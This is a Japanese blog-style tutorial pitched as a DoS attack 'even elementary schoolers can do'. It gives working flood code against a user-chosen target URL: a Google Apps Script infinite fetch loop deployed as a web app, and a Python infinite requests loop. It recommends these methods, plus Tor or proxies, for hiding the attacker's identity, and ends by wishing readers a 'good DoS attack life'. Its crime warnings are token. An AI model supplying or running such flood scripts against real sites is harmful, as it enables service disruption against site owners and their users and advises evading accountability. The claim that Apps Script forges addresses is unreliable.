小学生でもできるDos攻撃


警告:この記事に書いていることを悪用しても一切責任を取りません。
警告2:Dos攻撃は犯罪です。Dos攻撃をすると警察に捕まるかもしれません。

DOS/DDOS攻撃とは

DOS攻撃とはサーバーにアクセスを集中させてサーバーのサービスを妨害することです。
DDOS攻撃はサーバーにアクセスを集中されてサーバーのサービスを妨害することは同じなのですが、
DDOS攻撃は複数のコンピューターからサーバーにアクセスを集中させるということです。

DOS攻撃

サイトでF5キーを連打してもちゃんとサーバーにアクセスを集中させているからそれも立派なDOS攻撃になります。
つまり、アクセスを集中させてサーバーのサービスを落とすなら何でもよいのです。

DDOS攻撃

botnet

DDOS攻撃はほとんどの場合IOTなどのコンピュータがbotnet(コンピュータウイルス)で遠隔操作されてサーバーに攻撃しています。

GASで実装する

今回はGASで実装したいと思います。なぜなら自分のPCから攻撃するとIPアドレスがばれて攻撃者が特定されてしまうかもしれません。
ですが、gasを使うとアドレスを偽造して攻撃できるから攻撃者が特定されにくいのです。
(絶対に特定されないとは言ってない)
本当のDos攻撃もgasやAWSで行われています。(てか、今からやるのも本物だけどね(笑)。)

では、さっそく実装していきたいと思います。

この方法はgoogleアカウントを登録しなければ実装できませんのでgoogleアカウントを登録しなければなりません。

まず、google driveでgoogle apps scriptを用意します。

https://drive.google.com/drive/my-drive

google apps scriptを押します。

そうするとこのような画面が出てくると思うので、入力欄をすべて消してこう書きます。

コード.gs
function doGet() {
  for(;;){
    var url = '攻撃したいサイトのURL';
    UrlFetchApp.fetch(url);
    Logger.log("ok");
  }
}

攻撃したいサイトのURLのところは自分の攻撃したいサイトのURLをそのままコピペすればいいだけです。
では、攻撃してみましょう。

実行を押します。そうするといろいろと出てるくので許可を押します。

次にデプロイを押して新しいデプロイを押してまたいろいろと出てくるので、デプロイを押します。

URLをコピーしてブラウザの検索バーにコピペします。そしたら勝手に攻撃してくれます。

というわけでよいDOS攻撃ライフを。

pythonでやる方法(追記)

pythonっていうプログラミング言語を使ってもとても簡単にできます。
ただ、torとかプロキシとかを刺した方がよさそうです。そのまま実行すると身元がすぐばれてしまいそうなので。

これだけです。

main.py
import requests
while True:
    requests.get("http://攻撃したいサイトのURL")

pythonの方が実際ソースコードが少ないですが、環境を整えるのが少し面倒かもしれませんね。

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